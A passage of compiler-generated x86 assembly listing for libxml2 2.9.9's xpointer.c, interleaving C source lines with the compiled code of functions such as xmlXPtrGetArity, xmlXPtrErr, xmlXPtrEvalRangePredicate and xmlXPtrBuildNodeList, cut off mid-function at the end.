; 173 : (cur->type == XML_DOCUMENT_NODE) ||
mov eax, DWORD PTR [ecx+4]
cmp eax, 1
je SHORT $LN8@xmlXPtrGet
cmp eax, 9
je SHORT $LN8@xmlXPtrGet
cmp eax, 13 ; 0000000dH
jne SHORT $LN2@xmlXPtrGet
$LN8@xmlXPtrGet:
; 174 : (cur->type == XML_HTML_DOCUMENT_NODE)) {
; 175 : i++;
inc edx
$LN2@xmlXPtrGet:
; 171 : for (i = 1;cur != NULL;cur = cur->prev) {
mov ecx, DWORD PTR [ecx+28]
test ecx, ecx
jne SHORT $LL4@xmlXPtrGet
; 176 : }
; 177 : }
; 178 : return(i);
mov eax, edx
; 179 : }
pop ebp
ret 0
$LN6@xmlXPtrGet:
; 170 : return(-1);
or eax, -1
; 179 : }
pop ebp
ret 0
_xmlXPtrGetIndex ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrGetArity
_TEXT SEGMENT
_cur$ = 8 ; size = 4
_xmlXPtrGetArity PROC ; COMDAT
; 144 : xmlXPtrGetArity(xmlNodePtr cur) {
push ebp
mov ebp, esp
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov ecx, DWORD PTR _cur$[ebp]
test ecx, ecx
je SHORT $LN6@xmlXPtrGet
; 145 : int i;
; 146 : if ((cur == NULL) || (cur->type == XML_NAMESPACE_DECL))
cmp DWORD PTR [ecx+4], 18 ; 00000012H
je SHORT $LN6@xmlXPtrGet
; 148 : cur = cur->children;
mov ecx, DWORD PTR [ecx+12]
; 149 : for (i = 0;cur != NULL;cur = cur->next) {
xor edx, edx
test ecx, ecx
je SHORT $LN3@xmlXPtrGet
$LL4@xmlXPtrGet:
; 150 : if ((cur->type == XML_ELEMENT_NODE) ||
; 151 : (cur->type == XML_DOCUMENT_NODE) ||
mov eax, DWORD PTR [ecx+4]
cmp eax, 1
je SHORT $LN8@xmlXPtrGet
cmp eax, 9
je SHORT $LN8@xmlXPtrGet
cmp eax, 13 ; 0000000dH
jne SHORT $LN2@xmlXPtrGet
$LN8@xmlXPtrGet:
; 152 : (cur->type == XML_HTML_DOCUMENT_NODE)) {
; 153 : i++;
inc edx
$LN2@xmlXPtrGet:
; 149 : for (i = 0;cur != NULL;cur = cur->next) {
mov ecx, DWORD PTR [ecx+24]
test ecx, ecx
jne SHORT $LL4@xmlXPtrGet
$LN3@xmlXPtrGet:
; 154 : }
; 155 : }
; 156 : return(i);
mov eax, edx
; 157 : }
pop ebp
ret 0
$LN6@xmlXPtrGet:
; 147 : return(-1);
or eax, -1
; 157 : }
pop ebp
ret 0
_xmlXPtrGetArity ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrAdvanceNode
_TEXT SEGMENT
_cur$ = 8 ; size = 4
_level$ = 12 ; size = 4
_xmlXPtrAdvanceNode PROC ; COMDAT
; 2242 : xmlXPtrAdvanceNode(xmlNodePtr cur, int *level) {
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov ebx, DWORD PTR _level$[ebp]
mov esi, DWORD PTR _cur$[ebp]
$next$38:
; 2243 : next:
; 2244 : if ((cur == NULL) || (cur->type == XML_NAMESPACE_DECL))
test esi, esi
je SHORT $LN6@xmlXPtrAdv
cmp DWORD PTR [esi+4], 18 ; 00000012H
je SHORT $LN6@xmlXPtrAdv
; 2245 : return(NULL);
; 2246 : if (cur->children != NULL) {
mov eax, DWORD PTR [esi+12]
test eax, eax
je SHORT $skip$39
; 2247 : cur = cur->children ;
mov esi, eax
; 2248 : if (level != NULL)
test ebx, ebx
je SHORT $found$40
; 2249 : (*level)++;
inc DWORD PTR [ebx]
; 2250 : goto found;
jmp SHORT $found$40
$LL4@xmlXPtrAdv:
; 2251 : }
; 2252 : skip: /* This label should only be needed if something is wrong! */
; 2253 : if (cur->next != NULL) {
; 2254 : cur = cur->next;
; 2255 : goto found;
; 2256 : }
; 2257 : do {
; 2258 : cur = cur->parent;
mov esi, DWORD PTR [esi+20]
; 2259 : if (level != NULL)
test ebx, ebx
je SHORT $LN10@xmlXPtrAdv
; 2260 : (*level)--;
dec DWORD PTR [ebx]
$LN10@xmlXPtrAdv:
; 2261 : if (cur == NULL) return(NULL);
test esi, esi
je SHORT $LN6@xmlXPtrAdv
$skip$39:
; 2262 : if (cur->next != NULL) {
; 2263 : cur = cur->next;
; 2264 : goto found;
; 2265 : }
; 2266 : } while (cur != NULL);
; 2267 :
; 2268 : found:
; 2269 : if ((cur->type != XML_ELEMENT_NODE) &&
; 2270 : (cur->type != XML_TEXT_NODE) &&
; 2271 : (cur->type != XML_DOCUMENT_NODE) &&
; 2272 : (cur->type != XML_HTML_DOCUMENT_NODE) &&
mov eax, DWORD PTR [esi+24]
test eax, eax
je SHORT $LL4@xmlXPtrAdv
mov esi, eax
$found$40:
mov eax, DWORD PTR [esi+4]
cmp eax, 1
je SHORT $LN13@xmlXPtrAdv
cmp eax, 3
je SHORT $LN13@xmlXPtrAdv
cmp eax, 9
je SHORT $LN13@xmlXPtrAdv
cmp eax, 13 ; 0000000dH
je SHORT $LN13@xmlXPtrAdv
cmp eax, 4
je SHORT $LN13@xmlXPtrAdv
; 2273 : (cur->type != XML_CDATA_SECTION_NODE)) {
; 2274 : if (cur->type == XML_ENTITY_REF_NODE) { /* Shouldn't happen */
cmp eax, 5
jne SHORT $next$38
; 2275 : TODO
call ___xmlGenericError
mov edi, eax
call ___xmlGenericErrorContext
push 2275 ; 000008e3H
push OFFSET ??_C@_0GK@GBFDPHAH@c?3?2users?2dag?2documents?2_clients@
push OFFSET ??_C@_0BO@MDEMDPPE@Unimplemented?5block?5at?5?$CFs?3?$CFd?6@
push DWORD PTR [eax]
mov eax, DWORD PTR [edi]
call eax
add esp, 16 ; 00000010H
; 2276 : goto skip;
jmp SHORT $skip$39
$LN13@xmlXPtrAdv:
pop edi
; 2277 : }
; 2278 : goto next;
; 2279 : }
; 2280 : return(cur);
mov eax, esi
; 2281 : }
pop esi
pop ebx
pop ebp
ret 0
$LN6@xmlXPtrAdv:
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret 0
_xmlXPtrAdvanceNode ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrErr
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_error$ = 12 ; size = 4
_msg$ = 16 ; size = 4
_extra$ = 20 ; size = 4
_xmlXPtrErr PROC ; COMDAT
; 96 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctxt$[ebp]
mov edi, DWORD PTR _error$[ebp]
test esi, esi
je $LN4@xmlXPtrErr
; 97 : if (ctxt != NULL)
; 98 : ctxt->error = error;
mov eax, DWORD PTR [esi+12]
mov DWORD PTR [esi+8], edi
; 99 : if ((ctxt == NULL) || (ctxt->context == NULL)) {
test eax, eax
je $LN4@xmlXPtrErr
; 101 : NULL, NULL, XML_FROM_XPOINTER, error,
; 102 : XML_ERR_ERROR, NULL, 0,
; 103 : (const char *) extra, NULL, NULL, 0, 0,
; 104 : msg, extra);
; 105 : return;
; 106 : }
; 107 :
; 108 : /* cleanup current last error */
; 109 : xmlResetError(&ctxt->context->lastError);
add eax, 136 ; 00000088H
push ebx
push eax
call _xmlResetError
; 110 :
; 111 : ctxt->context->lastError.domain = XML_FROM_XPOINTER;
mov eax, DWORD PTR [esi+12]
mov DWORD PTR [eax+136], 13 ; 0000000dH
; 112 : ctxt->context->lastError.code = error;
mov eax, DWORD PTR [esi+12]
mov DWORD PTR [eax+140], edi
; 113 : ctxt->context->lastError.level = XML_ERR_ERROR;
mov eax, DWORD PTR [esi+12]
mov DWORD PTR [eax+148], 2
; 114 : ctxt->context->lastError.str1 = (char *) xmlStrdup(ctxt->base);
push DWORD PTR [esi+4]
call _xmlStrdup
mov ecx, DWORD PTR [esi+12]
add esp, 8
mov DWORD PTR [ecx+160], eax
; 115 : ctxt->context->lastError.int1 = ctxt->cur - ctxt->base;
mov eax, DWORD PTR [esi+12]
mov ecx, DWORD PTR [esi]
sub ecx, DWORD PTR [esi+4]
mov DWORD PTR [eax+172], ecx
; 116 : ctxt->context->lastError.node = ctxt->context->debugNode;
mov ecx, DWORD PTR [esi+12]
mov eax, DWORD PTR [ecx+188]
mov DWORD PTR [ecx+184], eax
; 117 : if (ctxt->context->error != NULL) {
mov ebx, DWORD PTR [esi+12]
mov ecx, DWORD PTR [ebx+132]
test ecx, ecx
je SHORT $LN5@xmlXPtrErr
; 118 : ctxt->context->error(ctxt->context->userData,
lea eax, DWORD PTR [ebx+136]
push eax
push DWORD PTR [ebx+128]
call ecx
add esp, 8
pop ebx
pop edi
; 122 : NULL, ctxt->context->debugNode, XML_FROM_XPOINTER,
; 123 : error, XML_ERR_ERROR, NULL, 0,
; 124 : (const char *) extra, (const char *) ctxt->base, NULL,
; 125 : ctxt->cur - ctxt->base, 0,
; 126 : msg, extra);
; 127 : }
; 128 : }
pop esi
pop ebp
ret 0
$LN5@xmlXPtrErr:
; 119 : &ctxt->context->lastError);
; 120 : } else {
; 121 : __xmlRaiseError(NULL, NULL, NULL,
mov edx, DWORD PTR _extra$[ebp]
mov ecx, DWORD PTR [esi+4]
mov eax, DWORD PTR [esi]
push edx
push DWORD PTR _msg$[ebp]
sub eax, ecx
push 0
push eax
push 0
push ecx
push edx
push 0
push 0
push 2
push edi
push 13 ; 0000000dH
push DWORD PTR [ebx+188]
push 0
push 0
push 0
push 0
call ___xmlRaiseError
add esp, 68 ; 00000044H
pop ebx
pop edi
; 122 : NULL, ctxt->context->debugNode, XML_FROM_XPOINTER,
; 123 : error, XML_ERR_ERROR, NULL, 0,
; 124 : (const char *) extra, (const char *) ctxt->base, NULL,
; 125 : ctxt->cur - ctxt->base, 0,
; 126 : msg, extra);
; 127 : }
; 128 : }
pop esi
pop ebp
ret 0
$LN4@xmlXPtrErr:
; 100 : __xmlRaiseError(NULL, NULL, NULL,
mov eax, DWORD PTR _extra$[ebp]
push eax
push DWORD PTR _msg$[ebp]
push 0
push 0
push 0
push 0
push eax
push 0
push 0
push 2
push edi
push 13 ; 0000000dH
push 0
push 0
push 0
push 0
push 0
call ___xmlRaiseError
add esp, 68 ; 00000044H
pop edi
; 122 : NULL, ctxt->context->debugNode, XML_FROM_XPOINTER,
; 123 : error, XML_ERR_ERROR, NULL, 0,
; 124 : (const char *) extra, (const char *) ctxt->base, NULL,
; 125 : ctxt->cur - ctxt->base, 0,
; 126 : msg, extra);
; 127 : }
; 128 : }
pop esi
pop ebp
ret 0
_xmlXPtrErr ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrErrMemory
_TEXT SEGMENT
_extra$ = 8 ; size = 4
_xmlXPtrErrMemory PROC ; COMDAT
; 79 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov eax, DWORD PTR _extra$[ebp]
push eax
push OFFSET ??_C@_0BP@DJFHNAOK@Memory?5allocation?5failed?5?3?5?$CFs?6@
push 0
push 0
push 0
push 0
push eax
push 0
push 0
push 2
push 2
push 13 ; 0000000dH
push 0
push 0
push 0
push 0
push 0
call ___xmlRaiseError
add esp, 68 ; 00000044H
; 80 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_XPOINTER,
; 81 : XML_ERR_NO_MEMORY, XML_ERR_ERROR, NULL, 0, extra,
; 82 : NULL, NULL, 0, 0,
; 83 : "Memory allocation failed : %s\n", extra);
; 84 : }
pop ebp
ret 0
_xmlXPtrErrMemory ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrEvalRangePredicate
_TEXT SEGMENT
_obj$1$ = -20 ; size = 4
_i$1$ = -16 ; size = 4
_tmp$1$ = -12 ; size = 4
tv769 = -8 ; size = 4
_cur$1$ = -4 ; size = 4
_newset$1$ = 8 ; size = 4
_ctxt$ = 8 ; size = 4
_xmlXPtrEvalRangePredicate PROC ; COMDAT
; 2841 : xmlXPtrEvalRangePredicate(xmlXPathParserContextPtr ctxt) {
push ebp
mov ebp, esp
sub esp, 20 ; 00000014H
mov ecx, OFFSET __BEF3E6F7_xpointer@c
push esi
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctxt$[ebp]
test esi, esi
je $LN10@xmlXPtrEva
mov eax, DWORD PTR [esi]
npad 2
$LL2@xmlXPtrEva:
; 2842 : const xmlChar *cur;
; 2843 : xmlXPathObjectPtr res;
; 2844 : xmlXPathObjectPtr obj, tmp;
; 2845 : xmlLocationSetPtr newset = NULL;
; 2846 : xmlLocationSetPtr oldset;
; 2847 : int i;
; 2848 :
; 2849 : if (ctxt == NULL) return;
; 2850 :
; 2851 : SKIP_BLANKS;
mov cl, BYTE PTR [eax]
cmp cl, 32 ; 00000020H
je SHORT $LN12@xmlXPtrEva
cmp cl, 9
jb SHORT $LN13@xmlXPtrEva
cmp cl, 10 ; 0000000aH
jbe SHORT $LN12@xmlXPtrEva
$LN13@xmlXPtrEva:
cmp cl, 13 ; 0000000dH
jne SHORT $LN3@xmlXPtrEva
$LN12@xmlXPtrEva:
test cl, cl
je SHORT $LL2@xmlXPtrEva
inc eax
mov DWORD PTR [esi], eax
jmp SHORT $LL2@xmlXPtrEva
$LN3@xmlXPtrEva:
push ebx
push edi
; 2852 : if (CUR != '[') {
cmp cl, 91 ; 0000005bH
jne $LN67@xmlXPtrEva
$LN70@xmlXPtrEva:
; 2853 : XP_ERROR(XPATH_INVALID_PREDICATE_ERROR);
; 2854 : }
; 2855 : NEXT;
; 2856 : SKIP_BLANKS;
inc eax
mov DWORD PTR [esi], eax
npad 3
$LL4@xmlXPtrEva:
mov cl, BYTE PTR [eax]
cmp cl, 32 ; 00000020H
je SHORT $LN15@xmlXPtrEva
cmp cl, 9
jb SHORT $LN16@xmlXPtrEva
cmp cl, 10 ; 0000000aH
jbe SHORT $LN15@xmlXPtrEva
$LN16@xmlXPtrEva:
cmp cl, 13 ; 0000000dH
jne SHORT $LN5@xmlXPtrEva
$LN15@xmlXPtrEva:
test cl, cl
je SHORT $LL4@xmlXPtrEva
jmp SHORT $LN70@xmlXPtrEva
$LN5@xmlXPtrEva:
; 2857 :
; 2858 : /*
; 2859 : * Extract the old set, and then evaluate the result of the
; 2860 : * expression for all the element in the set. use it to grow
; 2861 : * up a new set.
; 2862 : */
; 2863 : CHECK_TYPE(XPATH_LOCATIONSET);
mov eax, DWORD PTR [esi+16]
test eax, eax
je $LN18@xmlXPtrEva
cmp DWORD PTR [eax], 7
jne $LN18@xmlXPtrEva
; 2864 : obj = valuePop(ctxt);
push esi
call _valuePop
; 2865 : oldset = obj->user;
; 2866 : ctxt->context->node = NULL;
mov ecx, DWORD PTR [esi+12]
mov edi, eax
add esp, 4
mov DWORD PTR _obj$1$[ebp], edi
mov ebx, DWORD PTR [edi+28]
mov DWORD PTR [ecx+4], 0
; 2867 :
; 2868 : if ((oldset == NULL) || (oldset->locNr == 0)) {
test ebx, ebx
je $LN21@xmlXPtrEva
cmp DWORD PTR [ebx], 0
je $LN21@xmlXPtrEva
; 2877 : } else {
; 2878 : /*
; 2879 : * Save the expression pointer since we will have to evaluate
; 2880 : * it multiple times. Initialize the new set.
; 2881 : */
; 2882 : cur = ctxt->cur;
mov eax, DWORD PTR [esi]
; 2883 : newset = xmlXPtrLocationSetCreate(NULL);
push 0
mov DWORD PTR _cur$1$[ebp], eax
call _xmlXPtrLocationSetCreate
; 2884 :
; 2885 : for (i = 0; i < oldset->locNr; i++) {
xor edi, edi
mov DWORD PTR _newset$1$[ebp], eax
add esp, 4
cmp DWORD PTR [ebx], edi
jle $LN7@xmlXPtrEva
npad 8
$LL8@xmlXPtrEva:
; 2886 : ctxt->cur = cur;
mov eax, DWORD PTR _cur$1$[ebp]
; 2887 :
; 2888 : /*
; 2889 : * Run the evaluation with a node list made of a single item
; 2890 : * in the nodeset.
; 2891 : */
; 2892 : ctxt->context->node = oldset->locTab[i]->user;
lea ecx, DWORD PTR [edi*4]
mov DWORD PTR [esi], eax
mov eax, DWORD PTR [ebx+8]
mov DWORD PTR tv769[ebp], ecx
mov eax, DWORD PTR [ecx+eax]
mov ecx, DWORD PTR [esi+12]
mov eax, DWORD PTR [eax+28]
mov DWORD PTR [ecx+4], eax
; 2893 : tmp = xmlXPathNewNodeSet(ctxt->context->node);
mov eax, DWORD PTR [esi+12]
push DWORD PTR [eax+4]
call _xmlXPathNewNodeSet
; 2894 : valuePush(ctxt, tmp);
push eax
push esi
mov DWORD PTR _tmp$1$[ebp], eax
call _valuePush
; 2895 : ctxt->context->contextSize = oldset->locNr;
mov edx, DWORD PTR [esi+12]
; 2896 : ctxt->context->proximityPosition = i + 1;
inc edi
mov ecx, DWORD PTR [ebx]
; 2897 :
; 2898 : xmlXPathEvalExpr(ctxt);
push esi
mov DWORD PTR _i$1$[ebp], edi
mov DWORD PTR [edx+68], ecx
mov ecx, DWORD PTR [esi+12]
mov DWORD PTR [ecx+72], edi
call _xmlXPathEvalExpr
add esp, 16 ; 00000010H
; 2899 : CHECK_ERROR;
cmp DWORD PTR [esi+8], 0
jne $LN68@xmlXPtrEva
; 2900 :
; 2901 : /*
; 2902 : * The result of the evaluation need to be tested to
; 2903 : * decided whether the filter succeeded or not
; 2904 : */
; 2905 : res = valuePop(ctxt);
push esi
call _valuePop
mov edi, eax
; 2906 : if (xmlXPathEvaluatePredicateResult(ctxt, res)) {
push edi
push esi
call _xmlXPathEvaluatePredicateResult
add esp, 12 ; 0000000cH
test eax, eax
je SHORT $LN25@xmlXPtrEva
; 2907 : xmlXPtrLocationSetAdd(newset,
mov ecx, DWORD PTR [ebx+8]
mov eax, DWORD PTR tv769[ebp]
push DWORD PTR [eax+ecx]
call _xmlXPathObjectCopy
push eax
push DWORD PTR _newset$1$[ebp]
call _xmlXPtrLocationSetAdd
add esp, 12 ; 0000000cH
$LN25@xmlXPtrEva:
; 2908 : xmlXPathObjectCopy(oldset->locTab[i]));
; 2909 : }
; 2910 :
; 2911 : /*
; 2912 : * Cleanup
; 2913 : */
; 2914 : if (res != NULL)
test edi, edi
je SHORT $LN26@xmlXPtrEva
; 2915 : xmlXPathFreeObject(res);
push edi
call _xmlXPathFreeObject
add esp, 4
$LN26@xmlXPtrEva:
; 2916 : if (ctxt->value == tmp) {
mov eax, DWORD PTR _tmp$1$[ebp]
cmp DWORD PTR [esi+16], eax
jne SHORT $LN27@xmlXPtrEva
; 2917 : res = valuePop(ctxt);
push esi
call _valuePop
; 2918 : xmlXPathFreeObject(res);
push eax
call _xmlXPathFreeObject
add esp, 8
$LN27@xmlXPtrEva:
; 2919 : }
; 2920 :
; 2921 : ctxt->context->node = NULL;
mov eax, DWORD PTR [esi+12]
mov edi, DWORD PTR _i$1$[ebp]
mov DWORD PTR [eax+4], 0
cmp edi, DWORD PTR [ebx]
jl $LL8@xmlXPtrEva
$LN7@xmlXPtrEva:
; 2922 : }
; 2923 :
; 2924 : /*
; 2925 : * The result is used as the new evaluation set.
; 2926 : */
; 2927 : xmlXPathFreeObject(obj);
push DWORD PTR _obj$1$[ebp]
call _xmlXPathFreeObject
; 2928 : ctxt->context->node = NULL;
mov eax, DWORD PTR [esi+12]
; 2929 : ctxt->context->contextSize = -1;
; 2930 : ctxt->context->proximityPosition = -1;
; 2931 : valuePush(ctxt, xmlXPtrWrapLocationSet(newset));
push DWORD PTR _newset$1$[ebp]
mov DWORD PTR [eax+4], 0
mov eax, DWORD PTR [esi+12]
mov DWORD PTR [eax+68], -1
mov eax, DWORD PTR [esi+12]
mov DWORD PTR [eax+72], -1
call _xmlXPtrWrapLocationSet
push eax
push esi
call _valuePush
add esp, 16 ; 00000010H
jmp SHORT $LN23@xmlXPtrEva
$LN21@xmlXPtrEva:
; 2869 : ctxt->context->contextSize = 0;
mov eax, DWORD PTR [esi+12]
; 2870 : ctxt->context->proximityPosition = 0;
; 2871 : xmlXPathEvalExpr(ctxt);
push esi
mov DWORD PTR [eax+68], 0
mov eax, DWORD PTR [esi+12]
mov DWORD PTR [eax+72], 0
call _xmlXPathEvalExpr
; 2872 : res = valuePop(ctxt);
push esi
call _valuePop
add esp, 8
; 2873 : if (res != NULL)
test eax, eax
je SHORT $LN22@xmlXPtrEva
; 2874 : xmlXPathFreeObject(res);
push eax
call _xmlXPathFreeObject
add esp, 4
$LN22@xmlXPtrEva:
; 2875 : valuePush(ctxt, obj);
push edi
push esi
call _valuePush
add esp, 8
; 2876 : CHECK_ERROR;
cmp DWORD PTR [esi+8], 0
jne SHORT $LN68@xmlXPtrEva
$LN23@xmlXPtrEva:
; 2932 : }
; 2933 : if (CUR != ']') {
mov eax, DWORD PTR [esi]
cmp BYTE PTR [eax], 93 ; 0000005dH
jne SHORT $LN67@xmlXPtrEva
$LN71@xmlXPtrEva:
; 2935 : }
; 2936 :
; 2937 : NEXT;
; 2938 : SKIP_BLANKS;
inc eax
mov DWORD PTR [esi], eax
$LL9@xmlXPtrEva:
mov cl, BYTE PTR [eax]
cmp cl, 32 ; 00000020H
je SHORT $LN29@xmlXPtrEva
cmp cl, 9
jb SHORT $LN30@xmlXPtrEva
cmp cl, 10 ; 0000000aH
jbe SHORT $LN29@xmlXPtrEva
$LN30@xmlXPtrEva:
cmp cl, 13 ; 0000000dH
jne SHORT $LN68@xmlXPtrEva
$LN29@xmlXPtrEva:
test cl, cl
je SHORT $LL9@xmlXPtrEva
jmp SHORT $LN71@xmlXPtrEva
$LN18@xmlXPtrEva:
; 2857 :
; 2858 : /*
; 2859 : * Extract the old set, and then evaluate the result of the
; 2860 : * expression for all the element in the set. use it to grow
; 2861 : * up a new set.
; 2862 : */
; 2863 : CHECK_TYPE(XPATH_LOCATIONSET);
push 11 ; 0000000bH
; 2934 : XP_ERROR(XPATH_INVALID_PREDICATE_ERROR);
push esi
call _xmlXPathErr
add esp, 8
pop edi
pop ebx
pop esi
; 2939 : }
mov esp, ebp
pop ebp
ret 0
$LN67@xmlXPtrEva:
; 2934 : XP_ERROR(XPATH_INVALID_PREDICATE_ERROR);
push 6
push esi
call _xmlXPathErr
add esp, 8
$LN68@xmlXPtrEva:
pop edi
pop ebx
$LN10@xmlXPtrEva:
pop esi
; 2939 : }
mov esp, ebp
pop ebp
ret 0
_xmlXPtrEvalRangePredicate ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrBuildNodeList
_TEXT SEGMENT
_list$1$ = -4 ; size = 4
_obj$ = 8 ; size = 4
_xmlXPtrBuildNodeList PROC ; COMDAT
; 1582 : xmlXPtrBuildNodeList(xmlXPathObjectPtr obj) {
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov ecx, DWORD PTR _obj$[ebp]
xor edx, edx
xor esi, esi
mov DWORD PTR _list$1$[ebp], edx
test ecx, ecx
je $LN44@xmlXPtrBui
; 1583 : xmlNodePtr list = NULL, last = NULL;
; 1584 : int i;
; 1585 :
; 1586 : if (obj == NULL)
; 1587 : return(NULL);
; 1588 : switch (obj->type) {
mov eax, DWORD PTR [ecx]
dec eax
cmp eax, 6
ja SHORT $LN30@xmlXPtrBui
jmp DWORD PTR $LN48@xmlXPtrBui[eax*4]
$LN15@xmlXPtrBui:
; 1589 : case XPATH_NODESET: {
; 1590 : xmlNodeSetPtr set = obj->nodesetval;
mov ebx, DWORD PTR [ecx+4]
; 1591 : if (set == NULL)
test ebx, ebx
je $LN44@xmlXPtrBui
; 1592 : return(NULL);
; 1593 : for (i = 0;i < set->nodeNr;i++) {
xor edi, edi
cmp DWORD PTR [ebx], edx
jle SHORT $LN30@xmlXPtrBui
$LL6@xmlXPtrBui:
; 1594 : if (set->nodeTab[i] == NULL)
mov eax, DWORD PTR [ebx+8]
mov ecx, DWORD PTR [eax+edi*4]
test ecx, ecx
je SHORT $LN4@xmlXPtrBui
; 1595 : continue;
; 1596 : switch (set->nodeTab[i]->type) {
mov eax, DWORD PTR [ecx+4]
add eax, -2 ; fffffffeH
cmp eax, 16 ; 00000010H
ja SHORT $LN7@xmlXPtrBui
movzx eax, BYTE PTR $LN45@xmlXPtrBui[eax]
jmp DWORD PTR $LN49@xmlXPtrBui[eax*4]
$LN7@xmlXPtrBui:
; 1597 : case XML_TEXT_NODE:
; 1598 : case XML_CDATA_SECTION_NODE:
; 1599 : case XML_ELEMENT_NODE:
; 1600 : case XML_ENTITY_REF_NODE:
; 1601 : case XML_ENTITY_NODE:
; 1602 : case XML_PI_NODE:
; 1603 : case XML_COMMENT_NODE:
; 1604 : case XML_DOCUMENT_NODE:
; 1605 : case XML_HTML_DOCUMENT_NODE:
; 1606 : #ifdef LIBXML_DOCB_ENABLED
; 1607 : case XML_DOCB_DOCUMENT_NODE:
; 1608 : #endif
; 1609 : case XML_XINCLUDE_START:
; 1610 : case XML_XINCLUDE_END:
; 1611 : break;
; 1612 : case XML_ATTRIBUTE_NODE:
; 1613 : case XML_NAMESPACE_DECL:
; 1614 : case XML_DOCUMENT_TYPE_NODE:
; 1615 : case XML_DOCUMENT_FRAG_NODE:
; 1616 : case XML_NOTATION_NODE:
; 1617 : case XML_DTD_NODE:
; 1618 : case XML_ELEMENT_DECL:
; 1619 : case XML_ATTRIBUTE_DECL:
; 1620 : case XML_ENTITY_DECL:
; 1621 : continue; /* for */
; 1622 : }
; 1623 : if (last == NULL)
push 1
push ecx
call _xmlCopyNode
add esp, 8
test esi, esi
jne SHORT $LN20@xmlXPtrBui
; 1624 : list = last = xmlCopyNode(set->nodeTab[i], 1);
mov esi, eax
mov DWORD PTR _list$1$[ebp], esi
jmp SHORT $LN4@xmlXPtrBui
$LN20@xmlXPtrBui:
; 1625 : else {
; 1626 : xmlAddNextSibling(last, xmlCopyNode(set->nodeTab[i], 1));
push eax
push esi
call _xmlAddNextSibling
; 1627 : if (last->next != NULL)
mov eax, DWORD PTR [esi+24]
add esp, 8
test eax, eax
cmovne esi, eax
$LN4@xmlXPtrBui:
; 1592 : return(NULL);
; 1593 : for (i = 0;i < set->nodeNr;i++) {
inc edi
cmp edi, DWORD PTR [ebx]
jl SHORT $LL6@xmlXPtrBui
; 1654 : default:
; 1655 : break;
; 1656 : }
; 1657 : return(list);
mov edx, DWORD PTR _list$1$[ebp]
$LN30@xmlXPtrBui:
pop edi
; 1658 : }
pop esi
mov eax, edx
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN23@xmlXPtrBui:
; 1628 : last = last->next;
; 1629 : }
; 1630 : }
; 1631 : break;
; 1632 : }
; 1633 : case XPATH_LOCATIONSET: {
; 1634 : xmlLocationSetPtr set = (xmlLocationSetPtr) obj->user;
mov ebx, DWORD PTR [ecx+28]
; 1635 : if (set == NULL)
test ebx, ebx
je $LN44@xmlXPtrBui
; 1636 : return(NULL);
; 1637 : for (i = 0;i < set->locNr;i++) {
xor edi, edi
cmp DWORD PTR [ebx], edx
jle SHORT $LN30@xmlXPtrBui
$LL11@xmlXPtrBui:
; 1638 : if (last == NULL)
mov eax, DWORD PTR [ebx+8]
push DWORD PTR [eax+edi*4]
call _xmlXPtrBuildNodeList
add esp, 4
test esi, esi
jne SHORT $LN25@xmlXPtrBui
; 1639 : list = last = xmlXPtrBuildNodeList(set->locTab[i]);
mov esi, eax
mov DWORD PTR _list$1$[ebp], esi
jmp SHORT $LN26@xmlXPtrBui
$LN25@xmlXPtrBui:
; 1640 : else
; 1641 : xmlAddNextSibling(last,
push eax
push esi
call _xmlAddNextSibling
add esp, 8
$LN26@xmlXPtrBui:
; 1642 : xmlXPtrBuildNodeList(set->locTab[i]));
; 1643 : if (last != NULL) {
test esi, esi
je SHORT $LN9@xmlXPtrBui
; 1644 : while (last->next != NULL)
mov eax, DWORD PTR [esi+24]
test eax, eax
je SHORT $LN9@xmlXPtrBui
npad 2
$LL12@xmlXPtrBui:
; 1645 : last = last->next;
mov esi, eax
mov eax, DWORD PTR [esi+24]
test eax, eax
jne SHORT $LL12@xmlXPtrBui
$LN9@xmlXPtrBui:
; 1636 : return(NULL);
; 1637 : for (i = 0;i < set->locNr;i++) {
inc edi
cmp edi, DWORD PTR [ebx]
jl SHORT $LL11@xmlXPtrBui
; 1654 : default:
; 1655 : break;
; 1656 : }
; 1657 : return(list);
mov edx, DWORD PTR _list$1$[ebp]
mov eax, edx
pop edi
; 1658 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN28@xmlXPtrBui:
; 1646 : }
; 1647 : }
; 1648 : break;
; 1649 : }
; 1650 : case XPATH_RANGE:
; 1651 : return(xmlXPtrBuildRangeNodeList(obj));
push ecx
call _xmlXPtrBuildRangeNodeList
add esp, 4
pop edi
; 1658 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN29@xmlXPtrBui:
